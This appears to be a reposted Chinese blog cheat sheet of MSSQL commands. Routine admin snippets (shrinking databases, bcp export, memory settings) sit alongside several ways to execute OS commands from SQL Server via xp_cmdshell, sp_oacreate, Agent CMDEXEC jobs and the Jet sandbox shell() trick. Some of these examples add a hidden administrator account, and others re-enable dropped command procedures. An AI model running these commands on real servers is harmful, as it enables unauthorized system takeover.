mssql使用总结

重设密码

exec sp_password null,'新密码','sa'

执行系统命令

(1)exec xp_cmdshell '要执行的命令'

(2)declare @shell int
exec sp_oacreate 'wscript.shell',@shell out

exec sp_oamethod @shell ,'run',null,'要执行的系统命令'
exec sp_oamethod @shell ,'run',null,'c:\windows\system32\cmd.exe /c net user kkk zzz /add'
exec sp_oamethod @shell ,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators kkk /add'

(3)use msdb;
exec sp_add_job @job_name='ok1';
exec sp_add_jobstep @job_name='ok1',@step_name = 'okok',@subsystem='CMDEXEC',@command='net user ok 123 /add';
exec sp_add_jobserver @job_name = 'ok1',@server_name = 'WWW-84937FCF932';
exec sp_start_job @job_name='ok1'

(4)exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0--开启沙盘模式

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'--查看沙盘模式的状态
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 321 /add")');--建立一个用户名为123的用户

1.如果沙盒保护模式未“关闭”,会报错:
服务器: 消息 7357,级别 16,状态 2,行 1
未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。
OLE DB 错误跟踪[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。

2.如果.mdb不存在或是输入路径错误
服务器: 消息 7399,级别 16,状态 1,行 1
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 报错。
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]
OLE DB 错误跟踪[OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005: ]。

3.如果输入过程中多了一些空格,也会报错。尤其要注意这点,很多人直接网上找文章复制粘贴进去执行。
服务器: 消息 7357,级别 16,状态 2,行 1
未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。
OLE DB 错误跟踪[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。

4.如果mdb权限和cmd.exe权限不对,同样会也出现问题。
当mdb权限不对时,
服务器: 消息 7320,级别 16,状态 2,行 1
未能对 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 执行查询。
[OLE/DB provider returned message: 未知]
OLE DB 错误跟踪[OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14]

查看用户权限

sp_helprotect null,'用户名'

打开sql2005的xp_cmdshell

-- 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1

GO
--重新配置
RECONFIGURE
GO

--执行想要的xp_cmdshell语句
Exec xp_cmdshell 'query user'
GO

--用完后,要记得将xp_cmdshell禁用(从安全角度安全考虑)

-- 禁用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--重新配置
RECONFIGURE
GO
-- 禁用配置高级选项
EXEC sp_configure 'show advanced options', 0
GO
-- 重新配置
RECONFIGURE
GO

查看mssql操作日志

SELECT * FROM fn_dblog(null,null)

附加数据库的命令

oSQL -U sa -P (回车)
1> sp_attach_db @dbname = N'xxx',
2>@filename1 = N'x:\xxx\xxx\xxx.mdf',
3>@filename2 = N'x:\xxx\xxx\xxx.ldf';
4>go

收缩数据库

dbcc shrinkdatabase('db_name')

扩展数据库文件

alter database db_customsms add file(NAME=db_customsms_data,FILENAME='D:\MSDE\MSSQL\Data\db_customsms_data3.mdf')

导出表中的数据为txt

bcp "Northwind.dbo.Customers" out "d:\customers.txt" -c -Usa -Psa

bcp "select * from Northwind" queryout "d:\customers.txt" -c -Usa -Psa

删除xp_cmdshell

EXEC sp_dropextendedproc 'xp_cmdshell'

恢复xp_cmdshell

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

获取当前服务器系统时间

select getdate() from 任意一张表的名称

恢复xp_cmdshell

dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

查看数据库连接

select @@connections

exec sp_who 'active'

增加mssql缓存

exec sp_configure 'show advanced options',1

reconfigure

exec sp_configure 'max server memory',512

reconfigure

查看当前所使用数据库所在的路径

select * from sysfiles;

恢复sp_addextendedproc语句:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/ (owner.)name of function to call /
@dllname varchar(255)/ name of DLL containing function /
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
恢复sp_dropextendedproc 语句:
create procedure dbo.sp_dropextendedproc
@functname nvarchar(517) -- name of function
as
-- If we're in a transaction, disallow the dropping of the
-- extended stored procedure.
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sys.sp_dropextendedproc')
return (1)
end

-- Drop the extended procedure mapping.
dbcc dropextendedproc( @functname )
return (0) -- sp_dropextendedproc
恢复 sp_OACreate 语句

exec sp_addextendedproc sp_OACreate,'odsole70.dll'

替换记录中的字符

REPLACE ( original-string, search-string, replace-string )

这个函数有一点不足是不支持 text,ntext类型字段的替换,可以通过下面的语句来实现:
update tableName set recordName=replace(cast(recordName as varchar(8000)) ,'abc','ddd')

导出execl表格

exec xp_cmdshell 'bcp "select *或列名1,列名2 from 库名.所有者.表名" queryout "c:\文件名.xls" -c -q -S "主机名" -U "用户名" -P "密码"'

装sql server sp4时,出现以前进行的程序安装创建了挂起的文件操作.运行程序之前,必须重新起动计算机

         在安装Sql或sp补丁的时候系统提示之前有挂起的安装操作,要求重启,这里往往重启无用,解决办法:到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager  删除PendingFileRenameOperations.

转载于:https://blog.51cto.com/10973437/2064099

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值